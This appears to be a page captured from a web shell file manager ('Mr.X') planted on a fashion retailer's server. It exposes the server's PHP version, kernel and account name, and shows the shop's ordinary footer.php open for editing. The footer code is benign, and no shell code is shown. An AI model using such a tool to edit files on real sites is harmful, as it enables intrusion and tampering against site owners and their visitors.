🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:footer.php
<!-- Footer Section --> <footer class="bg-black pt-5 pb-4 mt-5 border-top border-dark"> <div class="container"> <div class="row g-4 justify-content-between"> <!-- Brand Column --> <div class="col-lg-4 col-md-6"> <img src="assets/images/logo.jpeg" alt="MN DIRECT Logo" class="navbar-logo mb-3" style="border: 1px solid rgba(255,255,255,0.08);"> <p class="text-gray text-muted small lh-lg mb-3" style="color: var(--text-gray);"> MN DIRECT is a high-end luxury fashion atelier, dedicated to bringing modern aesthetics, minimal elegance, and curated premium couture to the fashion-forward individual. Designed with ultimate visual perfection and confidence. </p> <!-- Contact Details --> <div class="small text-muted lh-base mb-3 d-flex flex-column gap-2"> <div class="d-flex align-items-start gap-2"> <i class="fa-solid fa-location-dot text-warning mt-1" style="width: 14px;"></i> <span>No.93, Dickhenagama, Munagama, Horana</span> </div> <div class="d-flex align-items-center gap-2"> <i class="fa-solid fa-phone text-warning" style="width: 14px;"></i> <span><a href="tel:0777103470" class="text-muted text-decoration-none hover-gold fw-semibold">0777 103 470</a></span> </div> </div> <div class="d-flex gap-3 mt-3"> <a href="#" class="text-white hover-gold fs-5"><i class="fa-brands fa-instagram"></i></a> <a href="#" class="text-white hover-gold fs-5"><i class="fa-brands fa-facebook-f"></i></a> <a href="#" class="text-white hover-gold fs-5"><i class="fa-brands fa-pinterest-p"></i></a> <a href="#" class="text-white hover-gold fs-5"><i class="fa-brands fa-tiktok"></i></a> </div> </div> <!-- Quick Links Column --> <div class="col-lg-2 col-md-6"> <h5 class="text-white text-uppercase small fw-bold mb-3" style="letter-spacing: 2px;">Shop Collections</h5> <ul class="list-unstyled d-flex flex-column gap-2 small"> <li><a href="shop.php?category=women" class="text-muted text-decoration-none hover-gold">Women's Fashion</a></li> <li><a href="shop.php?category=men" class="text-muted text-decoration-none hover-gold">Men's Apparel</a></li> <li><a href="shop.php?category=kids" class="text-muted text-decoration-none hover-gold">Kids & Infants</a></li> <li><a href="shop.php?category=accessories" class="text-muted text-decoration-none hover-gold">Curated Accessories</a></li> <li><a href="shop.php?category=shoes" class="text-muted text-decoration-none hover-gold">Footwear & Sneakers</a></li> </ul> </div> <div class="col-lg-2 col-md-6"> <h5 class="text-white text-uppercase small fw-bold mb-3" style="letter-spacing: 2px;">Concierge</h5> <ul class="list-unstyled d-flex flex-column gap-2 small"> <li><a href="contact.php" class="text-muted text-decoration-none hover-gold">Contact Us</a></li> <li><a href="#" class="text-muted text-decoration-none hover-gold">Order Tracking</a></li> <li><a href="#" class="text-muted text-decoration-none hover-gold">Shipping & Returns</a></li> <li><a href="#" class="text-muted text-decoration-none hover-gold">Privacy Policy</a></li> </ul> </div> <!-- Newsletter Column --> <div class="col-lg-3 col-md-6"> <h5 class="text-white text-uppercase small fw-bold mb-3" style="letter-spacing: 2px;">Newsletter</h5> <p class="text-muted small lh-base">Subscribe to receive exclusive collection updates, private sales, and fashion editorials.</p> <form class="mt-3"> <div class="input-group"> <input type="email" class="form-control bg-dark border-secondary text-white small" placeholder="Email Address" required> <button class="btn btn-warning text-dark fw-bold small" type="submit">Join</button> </div> </form> </div> </div> <hr class="border-secondary opacity-25 my-4"> <!-- Bottom Footer --> <div class="row align-items-center justify-content-between g-3"> <div class="col-md-6 text-center text-md-start"> <p class="text-muted mb-0 small">© <?php echo date('Y'); ?> MN DIRECT. All rights reserved. Wear Your Confidence.</p> </div> <!-- Accepted Payment Gateways --> <div class="col-md-6 text-center text-md-end"> <div class="d-flex flex-wrap gap-2 justify-content-center justify-content-md-end align-items-center"> <span class="text-muted small me-2">Secure Payments:</span> <span class="badge bg-dark border border-secondary text-white py-2 px-3 small rounded" title="Cash on Delivery">COD</span> <span class="badge bg-dark border border-secondary text-warning py-2 px-3 small rounded" title="PayHere Gateway">PayHere</span> <span class="badge bg-dark border border-secondary text-white py-2 px-3 small rounded" title="Bank Transfer"><i class="fa-solid fa-building-columns text-info me-1"></i> Bank</span> <span class="badge bg-dark border border-secondary text-white py-2 px-3 small rounded" title="Koko"><span class="text-success fw-bold">koko</span></span> <span class="badge bg-dark border border-secondary text-white py-2 px-3 small rounded" title="Mintpay"><span class="text-danger fw-bold">mint</span>pay</span> <span class="badge bg-dark border border-secondary text-white py-2 px-3 small rounded" title="Google Pay"><i class="fa-brands fa-google-pay text-primary fs-6"></i></span> <span class="badge bg-dark border border-secondary text-white py-2 px-3 small rounded" title="PayPal"><i class="fa-brands fa-paypal text-primary me-1"></i>PayPal</span> </div> </div> </div> </div> </footer> <!-- Bootstrap 5 JS Bundle --> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script> <!-- Font Awesome (already linked in header) --> <!-- Main Javascript --> <script src="assets/js/main.js"></script> <!-- Global Wishlist Helper --> <script> function addToWishlist(productId) { fetch('wishlist_action.php', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: `action=add&product_id=${productId}` }) .then(response => response.json()) .then(data => { if (data.status === 'success') { if (window.showToast) { window.showToast(data.message); } else { alert(data.message); } // Dynamic update of wishlist badge let badge = document.querySelector('.wishlist-badge'); if (badge) { badge.textContent = data.wishlist_count; badge.style.display = 'inline-block'; } else { let heartBtn = document.querySelector('a[href="wishlist.php"]'); if (heartBtn) { let newBadge = document.createElement('span'); newBadge.className = 'position-absolute top-0 start-100 translate-middle badge bg-warning text-black rounded-circle wishlist-badge'; newBadge.style.fontSize = '0.55rem'; newBadge.style.padding = '2px 5px'; newBadge.style.marginLeft = '2px'; newBadge.style.marginTop = '-2px'; newBadge.textContent = data.wishlist_count; heartBtn.appendChild(newBadge); } } } else { if (window.showToast) { window.showToast(data.message, 'error'); } else { alert(data.message); } } }) .catch(error => { console.error('Wishlist error:', error); if (window.showToast) { window.showToast('Could not save to wishlist. Please try again.', 'error'); } }); } </script> <style> .hover-gold:hover { color: var(--accent-gold) !important; transition: color 0.2s ease-in-out; } .text-gray { color: #A0A0A0; } .dropdown-item:hover { background-color: var(--accent-gold) !important; color: black !important; } /* Add subtle transition for text hover */ footer a { transition: all 0.3s ease; } </style> </body> </html>
Save Changes
Cancel
Create New File
Create New Folder